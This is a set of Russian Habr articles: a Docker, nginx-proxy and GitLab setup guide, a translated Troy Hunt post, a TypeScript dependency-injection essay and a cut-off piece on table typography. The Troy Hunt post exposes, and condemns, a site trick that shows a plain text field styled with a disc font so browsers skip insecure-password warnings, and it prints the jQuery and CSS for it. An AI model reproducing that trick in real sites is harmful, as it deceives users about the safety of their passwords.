заключаться в автоматическом перенаправлении запросов, в соответствии с используемыми виртуальными хостами. Такой контейнер существует в открытом доступе в Docker Hub — [nginx-proxy](https://github.com/jwilder/nginx-proxy). Кроме решения проблемы с виртуальными хостами, он по-умолчанию поддерживает работу с SSL-сертификатами, что позволяет развернуть поддержку защищенного HTTPS-доступа к сайту. Прежде, чем запустить данный ***Reverse Proxy*** контейнер, давайте получим SSL-сертификаты для доменов, которые мы хотим использовать в качестве виртуальных хостов. #### Получение бесплатного SSL-сертификата Для получения SSL-сертификата будем использовать бесплатный сервис **letsencrypt**. Для этого на предыдущих этапах мы уже установили утилиту **certbot**. Я не буду останавливаться на подробностях использования этой утилиты (это все есть в [официальной документации](https://certbot.eff.org/)). Приведу лишь готовую команду для автоматического получения бесплатного SSL-сертификата для вашего домена: `$ sudo certbot certonly -n -d yourdomain.com --email your@email.com --standalone --noninteractive --agree-tos` `--standalone --noninteractive --agree-tos` — данные параметры необходимы для того, чтобы certbot с одной стороны отработал в фоновом режиме, а с другой — сгенерировал сертификат без конкретной привязки к определенному веб-серверу. В результате успешного выполнения данной команды будут сгенерированы два файла: `/etc/letsencrypt/live/yourdomain.com/fullchain.pem` `/etc/letsencrypt/live/yourdomain.com/privkey.pem` Для корректной работы **nginx-proxy** нам необходимо поместить все файлы сертификатов в одну директорию, при этом используя для каждого доменного имени по два файла в формате: **yourdomain.com.crt** (файл сертификата) и **yourdomain.com.key** (приватный ключ). В данном случае логично воспользоваться символьными ссылками. Пример: `$ mkdir ssl-certs` `$ cd ssl-certs` `$ ln -s /etc/letsencrypt/live/yourdomain.com/fullchain.pem ./yourdomain.com.crt` `$ ln -s /etc/letsencrypt/live/yourdomain.com/privkey.pem ./yourdomain.com.key` *На расширение .pem не стоит обращать особого внимания — суть файлов от этого не меняется.* Аналогичным образом мы можем получить сертификаты для любых, принадлежащих нам, доменных имен и далее использовать их в качестве виртуальных хостов. Единственное требование заключается в том, что A-записи этих доменных имен должны быть направленны на внешний IP-адрес сервера, на котором вы и выполняете `certbot certonly ...` Сгенерировав сертификаты для каждого домена, мы готовы к запуску *nginx-proxy* контейнера. ``` $ docker run -d -p 80:80 -p 443:443 \ ​-v /full/path/to/ssl-keys:/etc/nginx/certs \ ​-v /var/run/docker.sock:/tmp/docker.sock:ro \ ​jwilder/nginx-proxy ``` Рассмотрим эту команду более подробно: 1. `-p 80:80 -p 443:443` — привязываем к контейнеру порты 80 и 443. При чем 80-ый порт сервера отвечает 80-ому порту внутри контейнера и аналогично с портом 443. В формате *PORT:PORT2* выполняется создание соответствий между реальным портом всей машины и портами внутри отдельного виртуального контейнера. 2. `-v /full/path/to/ssl-keys:/etc/nginx/certs` — первый volume, необходимый для настройки данного контейнера. Здесь мы выполняем связь стандартной директории /etc/nginx/certs внутри самого контейнера с директорией, в которую мы вручную поместили символьные ссылки на файлы сертификатов и приватных ключей для наших доменов (на предыдущем этапе). 3. `jwilder/nginx-proxy` — идентификатор контейнера внутри Docker Hub. Docker Engine автоматически скачает изображение данного контейнера, если оно еще не было загруженно ранее. Вот и все — первый контейнер запущен! И этим контейнером является ***Reverse Proxy***, через который мы сможем далее задать любому контейнеру-приложению **VIRTUAL\_HOST**. Примеры работы с различными стеками ----------------------------------- #### LAMP Итак, наконец-то мы можем перейти к запуску контейнеров, в которых мы уже сможем разрабатывать наши веб-приложения. В базе Docker Hub довольно много разных вариантов LAMP-контейнеров. Лично я использовал этот: [tutum-docker-lamp](https://github.com/tutumcloud/lamp). Ранее, помимо Docker Engine, мы установили утилиту ***Docker Compose***. И вот только с этого момента мы начинаем ее использовать. Docker Compose удобен для создания приложений, в которых несколько контейнеров объединены и именно совместно представляют собой разрабатываемое приложение. Для того, чтобы запустить этот контейнер в связке с нашим nginx-proxy необходимо: 1. Загрузить в отдельную директорию исходники tutum-docker-lamp (удобнее всего это сделать с помощью `git clone`); 2. Создать в этой рабочей директории файл **docker-compose.yml** с примерно таким содержанием: ``` web: ​build: . volumes: - ./www:/var/www/html environment: - MYSQL_PASS=yourmysqlpassword - VIRTUAL_HOST=yourdomain.com ``` 1. Выполнить запуск с помощью docker-compose: `$ docker-compose up` Как видите в данном примере, управление виртуальными хостами при использовании nginx-proxy выполняется с помощью всего одной переменной окружения **VIRTUAL\_HOST**. Внимание на связку `./www:/var/www/html`. Очевидно, что рабочей директорией вашего сайта становится папка www (ее необходимо создать вручную). Все файлы в этой директории автоматически попадают и в `/var/www/html` внутри запущеного контейнера. Разобраться более детально с синтаксисом файла настроек **docker-compose.yml** вы можете в [официальной документации](https://docs.docker.com/compose/gettingstarted/). #### LEMP Запуск LEMP-контейнера принципиально ничем не отличается от примера выше. Сначала находим контейнер в Docker Hub. Например: [docker-lemp](https://github.com/stenote/docker-lemp). Скачиваем исходники контейнера и добавляем **docker-compose.yml**. Внутри этого файла настроек уже нашего кастомного контейнера вы можете не только задавать переменную окружения **VIRTUAL\_HOST**, но и настраивать всё, что позволяет файл *Dockerfile*. Например в *Dockerfile* определено: `VOLUME /var/www/` Следовательно вы можете в docker-compose.yml выполнить связку с этим томом примерно так: `volumes:` ​ `- ./www:/var/www` #### NodeJS + ExpressJS + MongoDB Пример такой конфигурации: [docker-nodejs-mongodb-example](https://github.com/Kyborg2011/findme-api). Файл **docker-compose.yml** выглядит следующим образом: ``` web: ​ build: . ​ volumes: ​ - "./api:/src/app" ​ environment: ​ - VIRTUAL_HOST=yourdomain.com ​ links: ​ - "db:mongo" db: ​image: mongo ​ports: ​ - "27017:27017" ​volumes: ​ - ./data/db:/data/db ``` В данном случае будет создано два связанных контейнера. Один — для базы (mongoDB), второй собственно для *NodeJS* приложения. Для запуска этой связки контейнеров используется все та же команда `docker-compose up`. Тонкости в работе с gitlab/gitlab-ce ------------------------------------ ![GitLab CE on Docker Engine](https://habrastorage.org/r/w1560/files/308/c1e/29b/308c1e29bdfb4f378c9b5e8287900119.png) Некоторые, более сложные контейнеры, требуют дополнительной настройки для запуска с использованием nginx-proxy. К таким контейнерам относится и **gitlab-ce**. Я сначала приведу полностью рабочую версию команды для запуска этого контейнера, с учетом той конфигурации, которая обсуждается в этой статье, а далее поясню ниже некоторые детали из этой команды. Итак: ``` $ docker run --detach \ --hostname gitlab.yourdomain.com \ --publish 2289:22 \ --restart always \ --name custom-gitlab \ --env GITLAB_OMNIBUS_CONFIG="nginx['listen_port'] = 80; nginx['listen_https'] = false; nginx['proxy_set_headers'] = { \"X-Forwarded-Proto\" => \"https\", \"X-Forwarded-Ssl\" => \"on\" }; gitlab_rails['gitlab_shell_ssh_port'] = 2289; external_url 'https://gitlab.yourdomain.com'; gitlab_rails['smtp_enable'] = true; gitlab_rails['smtp_address'] = 'smtp.mailgun.org'; gitlab_rails['smtp_port'] = 2525; gitlab_rails['smtp_authentication'] = 'plain'; gitlab_rails['smtp_enable_starttls_auto'] = true; gitlab_rails['smtp_user_name'] = 'postmaster@mg.yourdomain.com'; gitlab_rails['smtp_password'] = 'password'; gitlab_rails['smtp_domain'] = 'mg.yourdomain.com';" \ --env VIRTUAL_HOST="gitlab.yourdomain.com" \ --volume /srv/gitlab/config:/etc/gitlab \ --volume /srv/gitlab/logs:/var/log/gitlab \ --volume /srv/gitlab/data:/var/opt/gitlab \ gitlab/gitlab-ce:latest ``` #### Запуск через NGINX Reverse Proxy + HTTPS Для того, чтобы схема с ***Reverse Proxy*** работала в данном случае, необходимо добавить: ``` nginx['listen_port'] = 80; nginx['listen_https'] = false; nginx['proxy_set_headers'] = { \"X-Forwarded-Proto\" => \"https\", \"X-Forwarded-Ssl\" => \"on\" }; ``` Причина заключается в том, что nginx-proxy при работе с контейнерами обращается внутри них к порту 80, а не 443. Без дополнительных заголовков в настройке nginx внутри контейнера gitlab-ce (***proxy\_set\_headers***) запрос проходить не будет (ошибка **502 "Bad Gateway"**). Кроме этого важно добавить: `external_url 'https://gitlab.yourdomain.com';` #### Порт 22 Суть в данных строках: `--publish 2289:22` Если работа с рабочей машиной производится через SSH-протокол, то мы не можем создавать связку напрямую "22:22", так как порт 22 уже занят сервисом *sshd*. Решение этой проблемы описано в официальной документации gitlab-ce. Все просто: мы привязываем любой другой (кроме 22) порт внутри сервера к 22 порту внутри контейнера. В данном примере используется порт 2289. Параллельно с этим важно не забыть добавить `gitlab_rails['gitlab_shell_ssh_port'] = 2289;` В настройки самого GitLab. Таким образом после запуска gitlab-ce и создания в нем самом какого-либо репозитория работа с ним будет производится по адресу в стиле: `ssh://git@gitlab.yourdomain.com:2289/username/repository_name.git` #### Настройка SMTP-сервера Здесь тоже необходимо использовать специальные переменные окружения самого GitLab. В моем случае (я использую *Google Cloud Engine*) по-умолчанию закрыты порты 25, 465 (т.е. стандартные порты SMTP-протокола). Одним из вариантов решения этой проблемы является использование стороннего сервиса (как например [MailGun](http://mailgun.com/)) в качестве SMTP-сервера. Для этого используем настройки: ``` gitlab_rails['smtp_enable'] = true; gitlab_rails['smtp_address'] = 'smtp.mailgun.org'; gitlab_rails['smtp_port'] = 2525; gitlab_rails['smtp_authentication'] = 'plain'; gitlab_rails['smtp_enable_starttls_auto'] = true; gitlab_rails['smtp_user_name'] = 'postmaster@mg.yourdomain.com'; gitlab_rails['smtp_password'] = 'password'; gitlab_rails['smtp_domain'] = 'mg.yourdomain.com'; ``` Ну и наконец не забываем о `--env VIRTUAL_HOST="gitlab.yourdomain.com" \` — переменной окружения для самого nginx-proxy. Вот и все. После выполнения этой инструкции Docker запустит полностью функционирующий контейнер с GitLab CE. #### Стандартный процесс обновления gitlab-ce Это последний момент, который я хочу отдельно осветить в этом гайде. Процесс обновления GitLab с помощью Docker упрощается до нескольких команд: 1. `docker stop custom-gitlab` — останавливаем работающий контейнер; 2. `docker rm custom-gitlab` — удаляем контейнер GitLab CE. **Важный момент:** удаление контейнера не означает удаление данных, которые были созданы в процессе использования системы. Поэтому вы можете выполнять эту команду без каких-либо опасений. 3. `docker pull gitlab/gitlab-ce` — собственно обновление изображения контейнера; 4. выполняем длинную команду (пример выше), с помощью которой мы изначально запускали контейнер. Вот и все. Выполнив эти 4 команды, GitLab автоматически обновится до последний версии и запустится через Docker Engine. Итоги ----- Итак, в результате выполнения этого гайда должен получится Docker-кластер, в основе которого лежит NGINX Reverse Proxy; каждое веб-приложение имеет свой виртуальный хост, который при этом поддерживает защищенный HTTPS-протокол. Вместе с веб-приложениями функционирует GitLab-кластер, полностью настроенный, вплоть до доступа к SMTP-серверу. Я очень надеюсь, что это моё небольшое исследование окажется полезным или, хотя бы, интересным, для многих читателей ХабраХабра. Конечно же, буду рад выслушать критику профессионалов, дополнения или усовершенствования к статье! Спасибо за внимание!
https://habr.com/ru/post/317636/
null
ru
null
# Обход предупреждений браузера с помощью псевдопарольных полей Кажется, человеческой изобретательности нет предела, если нужно обойти какое-то ограничение. Например, нужно подключить устройство к розетке в центре надувного бассейна — ничего не получится, правильно? Неправильно! ![](https://www.troyhunt.com/content/images/2017/11/Photo-20-10-2014-08-09-53.jpg) Или потушить пожар с другой стороны железнодорожных путей. И *очень* нужно протянуть туда гидрант, но нельзя останавливать поезда — какие есть варианты? Никаких? Опять неправильно! ![](https://www.troyhunt.com/content/images/2017/11/fire-engine-hose-safety-apparatus-funny-fail.jpg) Заметили тенденцию? Давайте распространим её на цифровой мир и немного поговорим о HTTPS. Вы обязаны использовать HTTPS. Нет, реально, если вы не заворачивается всё в HTTPS, то поступаете нехорошо. Разработчики браузеров знают об этом и всё плотнее прижимают к ногтю непослушные сайты. Давление особенно увеличилось в январе, когда одновременно [Chrome и Firefox начали выводить предупреждения, если форма авторизации передаётся по небезопасному каналу](https://www.troyhunt.com/https-adoption-has-reached-the-tipping-point/). Не все были рады этому, потому что… блин, HTTPS это же трудно, так? Не так, но [это не остановило компанию Oil and Gas International от регистрации баг-репорта в Mozilla](https://www.troyhunt.com/new-pluralsight-course-what-every-developer-must-know-about-https/): > «Ваше сообщение о небезопасной передаче пароля и/или авторизации автоматически появляется при авторизации на нашем сайте Oil and Gas International — оно не нужно и помещено туда без нашего разрешения. Пожалуйста, немедленно уберите его. У нас есть собственная система безопасности, и её не разу не взломали более чем за 15 лет. Ваше сообщение вызывает тревогу у наших подписчиков и наносит ущерб нашему бизнесу». Это довольно забавно, потому что «вызвать тревогу у подписчиков и нанести ущерб бизнесу» — именно то, чего добивались разработчики браузеров! Это такое средство воздействия, чтобы заставить организации обезопасить свои сайты, когда простой здравый смысл на них не действует. (Кстати, я думаю, что их 15-летний период без взломов таки прервался, когда они сообщили об этом «баге» и сразу подверглись бесплатным пентестам). Что же делать? Ну ясно, что если такие предупреждения мешают вашему бизнесу, то от них надо избавиться! Я не шучу, кое-кто действительно сделал это: ![](https://pbs.twimg.com/media/DNfm-ZEVAAA00nl.jpg) На самом деле я узнал об этом только вчера, когда один человек описал мне разговор с представителем компании ShopCambridge.ca: > «Я говорил с владельцем об использовании SSL перед тем, как я оформлю у них членство, но разработчик платформы сказал ей (это система франчайзера под названием ShopCity.com), что SSL скорее помогает Google монополизировать видимость контента, чем обеспечивает безопасность». К ShopCity.com вернёмся чуть позже, а сейчас давайте попробуем понять их логику. Как известно, предупреждения безопасности в браузере появляются только если в input атрибут type установлен как "password". Если так, то возникает идея — создать то, что выглядит как форма для ввода пароля, но на самом деле таковой не является: Она только говорит "Password", а на самом деле там установлен атрибут "textbox". В ней единственный класс CSS для некоторой стилизации, но если ввести курсор в поле, то происходит магия: ``` jQuery(document).on('click', '#pw', function() { jQuery(this).addClass('text-security'); }) ``` И вот у нас в поле совершенно новый класс. Ну и конечно, событие onclick в поле ввода устанавливает текст заполнителя как пустая строка. Так что делает этот новый класс? Он просто меняет шрифт: ``` .text-security { font-family: 'text-security-disc'; } ``` И как вы могли догадаться, этот «шрифт» ни что иное, как единственный символ кружочка, который вы обычно видите, когда вводите пароль в правильную парольную форму. Всё должно работать в таком порядке, потому что иначе заполнитель не покажет надпись "Password", а вы просто увидите 8 кружочков для букв. И если всё связать вместе, то создаётся *видимость* парольного поля, но поскольку это *не* парольное поле, то нет никаких предупреждений браузера! Это как магия! Точнее говоря, это псевдопарольное поле для обмана пользователей, чтобы они не увидели предупреждение браузера. И скрипт для добавления класса, и CSS для шрифта встроены рядышком в исходник страницы, как некая запоздалая мысль: ![](https://www.troyhunt.com/content/images/2017/11/Pseudo-Password.png) Вообще, этот блок JS и CSS там дважды, один раз на строке 1111, а другой раз — на строке 1156. Наиболее вероятное объяснение, которое приходит мне на ум, что где-то в течение этого года, когда начали появляться предупреждения безопасности на всех незащищённых сайтах, где-то выступил какой-то предприимчивый разработчик: «Я знаю, как это исправить!». O, и между прочим, [используемый шрифт](https://github.com/noppa/text-security/tree/master/dist) создан как минимум два с половиной года назад, что намного раньше, чем в браузерах появились предупреждения безопасности, которые этот «патч» должен был исправить. Это действительно нелепо и никак не могло быть случайным совпадением. Я имею в виду, что не было никаких других дизайнерских решений, после чего в качестве побочного продукта появился хак с сокрытием предупреждений безопасности в браузерах. Это была преднамеренная попытка скрыть с экрана информацию, ценную с точки зрения безопасности — она была сделана специально для защиты пользователей. К счастью, подобная глупость больше не работает в Chrome 62 и, как я писал в недавней статье [Happy Path to HTTPS](https://www.troyhunt.com/the-6-step-happy-path-to-https/), такое поведение постепенно станет доступно всем пользователям: ![](https://www.troyhunt.com/content/images/2017/11/Not-Secure-in-Chrome-62-1.png) В идеале, браузер Firefox тоже продублирует этот патч, и [Скотт Хельме уже зарегистрировал в Mozilla баг о сомнительном поведении ShopCambridge.ca](https://bugzilla.mozilla.org/show_bug.cgi?id=1413344). Но ясно, что суть проблемы в фундаментальном непонимании технологии со стороны разработчиков франчайзера [ShopCity.com](http://www.shopcity.com/). Если помните, это их я упоминал в первом сообщении, которое получил от одного читателя, и вы можете увидеть такой же хак на других сайтах их платформы, таких как [ShopMidland.com](http://www.shopmidland.com/). При попытке загрузить любой из небезопасных сайтов по HTTPS выдаёт невалидный сертификат, в случае для ShopCity.com такой: ![](https://www.troyhunt.com/content/images/2017/11/Wrong-Cert-for-Sites.png) Хотя он не для ShopCity.com, а для Secure.ShopCity.com, так что если вы попытаетесь загрузить <https://www.shopcity.com>, то получите другое исключение безопасности, потому что, естественно, сертификат невалидный! Так что я попробовал вместо этого загрузить [https://secure.shopcity.com](https://secure.shopcity.com/), но здесь сертификат тоже (немного) не работает: ![](https://www.troyhunt.com/content/images/2017/11/Mixed-Content.png) Похоже, их просто не волнует безопасная выдача контента, что возвращает нас к предыдущему комментарию: «SSL скорее помогает Google монополизировать видимость контента, чем обеспечивает безопасность». Я и раньше слышал подобное от человека, которого можно назвать разве что антивакцинатором в технологическом мире, он отпускает [комментарии вроде таких](https://www.troyhunt.com/life-is-about-to-get-harder-for-websites-without-https/#comment-3411565511): > Google просто зло, потому что это гигант. Пошёл он в ж\*\*у. Он объяснял, что из-за плохого кода на бэкенде сайт могут взломать даже при наличии SSL, но *зелёный замочек остаётся*, вводя пользователей в заблуждение, поэтому HTTPS бесполезен. Если поискать по [тегу SSL](https://www.troyhunt.com/tag/ssl/) в моём блоге, то можно найти на удивление много подобных высказываний, что SSL — просто бандитское крышевание со стороны Google. Я на самом деле [связался с ShopCity.com и спросил, почему же они ведут себя таким образом](https://twitter.com/troyhunt/status/925562274063851521), но на момент публикации не получил ответа. Так что предпринять этим ребятам? На самом деле ответ очень простой: > Just use HTTPS, for fuck’s sake. > > — ɹǝqǝʍ uıʇɹɐɯ (@web\_martin) [October 31, 2017](https://twitter.com/web_martin/status/925486730047774720?ref_src=twsrc%5Etfw) Для тех, кто хочет перейти на HTTPS, см. 6-шаговое руководство ["Happy Path" to HTTPS](https://www.troyhunt.com/the-6-step-happy-path-to-https/), которое я уже упоминал. Сейчас это проще чем когда-либо, и вам даже не понадобится обманывать своих пользователей!
https://habr.com/ru/post/341664/
null
ru
null
# Нативная инверсия зависимостей в TypeScript и React Когда я задумался о внедрении зависимостей в TypeScript, то первое, что мне посоветовали — [inversify](http://inversify.io/). Я посмотрел эту и другие библиотеки, реализующие паттерн Service Locator, и даже сделал свою собственную — [typedin](https://www.npmjs.com/package/typedin). Но когда я работал над версией typedin 2.0, то в конце концов понял, что вообще никакой библиотеки не нужно. В TypeScript есть все необходимое. ![](https://habrastorage.org/r/w780q1/webt/n1/xj/3x/n1xj3xj6oaqy381dhyf1iaj3nyi.jpeg) ### Sevice Locator это антипаттерн Уже давно известно, что Service Locator это [антипаттерн](http://blog.ploeh.dk/2010/02/03/ServiceLocatorisanAnti-Pattern/). В первую очередь потому, что он создает неявные зависимости. Если вы просто передаете service сontainer в класс, и в коде класса произвольным образом получаете сервисы, то единственный способ узнать зависимости такого класса — изучить его код. ``` // Пример из inversify var ninja = kernel.get("INinja"); ``` Конечно, можно чуточку улучшить это обстоятельство, если внедрять зависимости через свойства. Например, вот так это делается в `typedin` (для `inversify` тоже есть декоторы): ``` class SomeComponent { @inject logService: ILogService; } ``` Объявлением такого свойства мы якобы объявляем в интерфейсе класса его зависимость. Но это все еще плохо — мы можем спокойно создать экземпляр класса, не передав ему нужные зависимости, и получить ошибку времени исполнения. IDE нам не подсказывает, как правильно использовать класс. ![](https://habrastorage.org/r/w1560/webt/6c/rj/fx/6crjfxm4lcx31q16hebqpqscsx8.png) Вместо этого мы должны сами изучить документацию и все выяснить. Но, допустим, мы преодолели все трудности и написали правильный код. Однако если при добавлении новых фич кто-то добавит еще один сервис в класс, то компилятор никак нас об этом не предупредит. Наш код просто упадет рантайм из-за того, что мы не передаем нужный сервис. По всем этим причинам самым лучшим способом внедрения зависимостей является *constructor injection* совместно с [*composition root*](http://blog.ploeh.dk/2011/07/28/CompositionRoot/). ``` class SomeComponent { constrcutor(private logService: ILogService) { } } ``` ### Сложности с constructor injection Внедрение зависимостей через конструктор лишено всех перечисленных выше недостатков. Мы явно объявляем зависимости, так что пользователь просто не сможет создать экземпляр класса, не передав нужные сервисы. При этом компилятор полностью контролирует наш код и сообщит об ошибке сразу. Однако этот подход довольно неудобен в "сыром" виде. Каждый раз при создании экземпляра класса нам нужно передавать в него все необходимые сервисы. ``` var some = new SomeComponent(logService) ``` А если у нас дерево компонентов, то код передачи зависимостей нужно писать во всей цепочке. ``` class SomeWrapperComponent { constructor(private logService: ILogService) { var some = new SomeComponent(logService) } } ``` При изменении списка сервисов в `SomeComponent` придется менять код `SomeWrapperComponent` и далее всех, кто его использует. Особенно это печально, когда количество сервисов становится сколько-нибудь значительным. Тем не менее, как показал нам [Angular](https://angular.io/guide/dependency-injection), благодаря декораторам в TypeScript можно автоматически внедрять зависимости, перечисленные в параметрах конструктора. ``` // Пример внедрения зависимостей через конструктор в Angular @Injectable() export class HeroService { constructor(private logger: Logger) { } } ``` То есть, с одной стороны, мы явно объявляем зависимости в параметрах конструктора, а с другой — не пишем кучу бойлерплейта по передаче сервисов в каждый компонент. Сервисы автоматически находятся в дереве компонентов или родительском модуле. Однако такой подход проблематично реализовать в React. Аналогом конструктора для React-компонентов являются `props`. То есть, constructor injection в React должен выглядеть примерно так: ``` render() { return } ``` К сожалению, `props` — это всего лишь интерфейс, и никакие декораторы не позволят нам сделать автоматическую инъекцию зависимостей, как в Angular. ``` export interface SomeComponentProps { logger: Logger } export class SomeComponent extends React.Component { } ``` Это проблема не только React. Во многих фреймворках мы не контролируем создание компонентов через конструктор. Например, в том же Vue. На самом деле, в Angular тоже никто не создает компоненты через конструктор, так что там тоже это все актуально. ### Нативная инъекция зависимостей средствами TypeScript Я долго думал, как бы все это совместить, работая над typedin v2.0. Хотелось сохранить явный характер передачи зависимостей, как в *constructor injection*, но при этом сократить количество бойлерплейта и сделать это совместимым с React. Постепенно у меня начал появляться прототип такого решения. Я шаг за шагом улучшал код, выкидывал все лишнее до тех пор, пока в один прекрасный момент от библиотеки typedin не осталось совсем ничего. Оказалось, что все, что нужно, уже есть в TypeScript, так что, можно сказать, данная статья — это и есть typedin v2.0. Итак, все, что нам нужно сделать — добавить одно объявление типа `$Logger` рядом с объявлением сервиса. ``` export class Logger { log(msg: string) { console.info(msg); } } export type $Logger = { logger: Logger; }; ``` Добавим еще один сервис, чтобы было интереснее: ``` export class LocalStorage { setItem(key: string, value: string) { localStorage.setItem(key, value); } getItem(key: string) { return localStorage.getItem(key); } } export type $LocalStorage = { localStorage: LocalStorage } ``` Объявляем наш компонент, которому требуются зависимости `Logger` и `LocalStorage`. ``` export interface SomeComponentProps { services: $Logger & $LocalStorage; } export class SomeComponent extends React.Component { constructor(props) { super(props); // Обращаемся к зависимостям let habrGreeting = props.services.localStorage.getItem("Habrahabr"); props.services.logger.log("Native TypeScript DI! " + habrGreeting); ) } ``` Давайте еще объявим другой сервис, который также нуждается во внедрении зависимостей. ``` export class HeroService { constructor(private services: $Logger) { services.logger.log("Constructor injection is awesome!"); } } ``` Осталось собрать все это вместе. В каком-то месте приложения, мы инициализируем все наши сервисы, согласно паттерну [composition root](http://blog.ploeh.dk/2011/07/28/CompositionRoot/): ``` let logger = new Logger(); export var services = { logger: logger, localStorage: new LocalStorage(), heroService: new HeroService({ logger }) // Обратите внимание! }; ``` Теперь можно просто передать этот объект в наш компонент: ``` render() { return } ``` Вот и все! Настоящий чистый универсальный *constructor injection* без бойлерплейта! ### Как все это работает Я обожаю TypeScript за этот [`оператор &`](https://github.com/Microsoft/TypeScript/blob/master/doc/spec.md#35-intersection-types) применительно типам. Именно благодаря нему все это выглядит так просто и изящно. При объявлении сервиса `Logger` мы дополнительно объявили тип `$Logger`. Если Вас смущает конструкция `type`, альтернативый вариант такой: ``` export interface $Logger { logger: Logger; } ``` Буквально, мы объявляем интерфейс некоторого контейнера, содержащего сервис `Logger` в переменной `logger`. И так делает каждый сервис — `$LocalStorage`, `$HeroService`. В компоненте нам нужно несколько сервисов, поэтому мы просто объединяем два интерфейса: ``` services: $Logger & $LocalStorage; ``` Данная конструкция равносильна примерно следующему: ``` interface SomeComponentDependecies extends $Logger, $LocalStorage { logger: Logger; localStorage: LocalStorage; } services: SomeComponentDependecies; ``` То есть мы говорим, что компоненту `SomeComponent` нужно передать контейнер, содержащий сервисы `Logger` и `LocalStorage`. И это все! Каким образом компоненту передадут соответствующий контейнер, откуда он возьмется и как будет создан — это уже не так важно. Можно импортировать какой-то глобальный объект `services`, созданный в одном месте в composition root. Можно передавать этот объект через цепочку родительских компонентов. Можно создавать его динамически по требованию. Все зависит от условий конкретного приложения. ### Заключение InversifyJS содержит порядка 100кб кода и [документацию](https://github.com/inversify/InversifyJS/tree/master/wiki) из порядка 40 разделов, не самых простых для понимания. Тем не менее, ее пакет npm загружают около 100 тысяч раз месяц, пишут для нее множество плагинов и расширений. Из этого можно сделать два вывода: 1. Внедрение зависимостей набирает популярность в фронтенд-мире 2. Фронтенд-сообщество еще не успело осознать, что Service Locator — это антипаттерн То есть как обычно, бездумно выхватываем идеи из других технологий и языков. На самом же деле, инверсия зависимостей это просто [передача параметра](http://blog.ploeh.dk/2017/01/27/dependency-injection-is-passing-an-argument/), и для этого не нужно никаких библиотек. Вы уверены, что все эти [фабрики](https://github.com/inversify/InversifyJS/blob/master/wiki/factory_injection.md), [провайдеры](https://github.com/inversify/InversifyJS/blob/master/wiki/provider_injection.md), [биндинги](https://github.com/inversify/InversifyJS/blob/master/wiki/named_bindings.md), [хандлеры](https://github.com/inversify/InversifyJS/blob/master/wiki/middleware.md), [циклические зависимости](https://github.com/inversify/InversifyJS/blob/master/wiki/circular_dependencies.md) и тому подобное стоит ресурсов и того усложенения кода, которое они дают?
https://habr.com/ru/post/350398/
null
ru
null
# Веб-типографика: создаем таблицы для чтения, а не для красоты *Наталия Шергина, фрилансер-редактор и студентка [Нетологии](https://netology.ru/?utm_source=blog&utm_medium=747&utm_campaign=habr), специально для блога перевела [лонгрид](https://alistapart.com/article/web-typography-tables) Richard Rutter о типографике веб-таблиц.* [![](https://habrastorage.org/r/w780q1/webt/ha/6e/7w/ha6e7wihzowl45i1kmdkdo6ej6w.jpeg)](https://habrahabr.ru/company/netologyru/blog/348390/) Хорошие дизайнеры не жалеют времени на типографику. Они тщательно подбирают шрифты, перебирают множество типографических шкал и скрупулезно применяют пробелы (white space) ради удобства пользователя. Затем появляется соблазн покреативить — и вот все мысли уже не о пользователе. Однако таблицы нужны в первую очередь, чтобы их читали и использовали, а не просто любовались. Относитесь к таблицам как к тексту, который будут читать ======================================================== Существует огромное количество таблиц: одни содержат простые числовые данные, другие — смесь текста и числовых показателей. Одни нужно читать ряд за рядом, а другие можно быстро просмотреть по вертикали. Потенциал использования у таблиц так же велик, как и у слов. В виде таблиц можно представить финансовые показатели, расписание движения автобусов, иностранные словари, содержание документов и книг, числовые преобразования, цены, сравнения, технические характеристики и так далее. Несмотря на все разнообразие размеров, структуры, содержания и целей, к любой таблице применимы два простых дизайнерских принципа: она должна легко читаться и не искажать смысл содержащихся в ней данных. Таблицы не нужно «украшать» только для того, чтобы они смотрелись эстетичнее. Хорошо составленная таблица может быть красивой, но только при условии, что форма в первую очередь служит содержанию. > Таблицы — не картинки с данными. Это справочники для внимательного изучения и анализа. Правильно составленная таблица легко читается и выявляет общие паттерны и закономерности в анализируемых данных. Мастер типографического дизайна Ян Чихольд пишет1: *Дизайн таблиц не должен быть чем-то скучным и однообразным. Наоборот, он может превратиться в творческий процесс, не менее интересный, чем работа в других сферах дизайна.* По возможности продумывайте удобочитаемость каждой таблицы заранее. Ваша работа как дизайнера — найти способы сделать информацию читаемой, удобной для изучения и использования. Работая с текстом в вебе, вы же не пытаетесь поместить на экран столько слов, сколько влезет. Тот же принцип применим и к таблицам: не нужно впихивать туда как можно больше данных. Есть соблазн уменьшить размер текста в таблице, и если вся информация числовая, это может сработать. Но даже при таком сценарии пользователь должен без труда считывать информацию со своего обычного положения не приближаясь к экрану. Не растягивайте таблицы ======================= Многие дизайнеры инстинктивно применяют параметр «ширины» к таблицам по принципу работы с изображениями. Таблица при этом растягивается на всю ширину колонки или страницы. В этом и заключается соблазн растягивания: издалека она становится похожа на изображение. И если на расстоянии таблица будет выглядеть неплохо, то вблизи между единицами данных появится ненужное пространство, затрудняющее чтение. Вдобавок к этому, таблицы на всю ширину пестрят фоновым изображением и цветными границами, что еще больше делает её похожей на картинку, в то время как пользователю нужна структура текста. Ради ваших читателей не поддавайтесь этому соблазну. Возможно, вы захотите выровнять все столбцы по ширине. Однако это не улучшит читабельность. Некоторые ячейки станут слишком широкими, информация в них потеряется, а связь между данными соседних столбцов прервется. Другие ячейки, наоборот, окажутся слишком узкими, сжимая содержимое таблицы. Столбцы в таблице должны быть выровнены в зависимости от количества данных в них. Столбцы с небольшими числами должны быть узкими, а столбцы с абзацами — относительно широкими. На составление такой таблицы потребуется время, особенно если вы дизайнер печати — нужно будет вручную задавать ширину каждого столбца для макетов. К счастью, браузеры сделают всю работу за вас. Они использовали специальные алгоритмы для отображения таблиц задолго до появления CSS, поэтому просто положитесь на них. Используйте заливку по-минимуму =============================== Эдвард Тафти, всемирно признанный мастер визуального отображения информации, говоря о дизайне таблиц в книге «Визуальное отображение количественной информации» отмечает, что нужно удалить почти все, что не является данными или белым пространством (white space). Минимизирование элементов дизайна и упор на представляемую информацию — первый принцип типографического дизайна таблиц. > Для начала избавьтесь от любых рамок и границ в таблицах. Это избыточное викторианское украшательство, потому что выравнивание текста и так обозначит границы таблицы. Постарайтесь улучшить читаемость используя только выравнивание, межстрочные интервалы и объединение. Избегайте любых заливок, особенно «зебру» — чередующуюся заливку строк, и вообще любой фон, кроме белого. Таблицы с заливкой могут неплохо смотреться, но такой дизайн отвлекает от содержания. Выделяя каждую вторую строку, полосатая заливка искажает значение данных, делая информацию в незалитых строках менее значимой. Используйте заливку осторожно и только для того, чтобы направить внимание пользователя в нужном направлении. При перечислении выделение должно идти сверху вниз, в остальных случаях 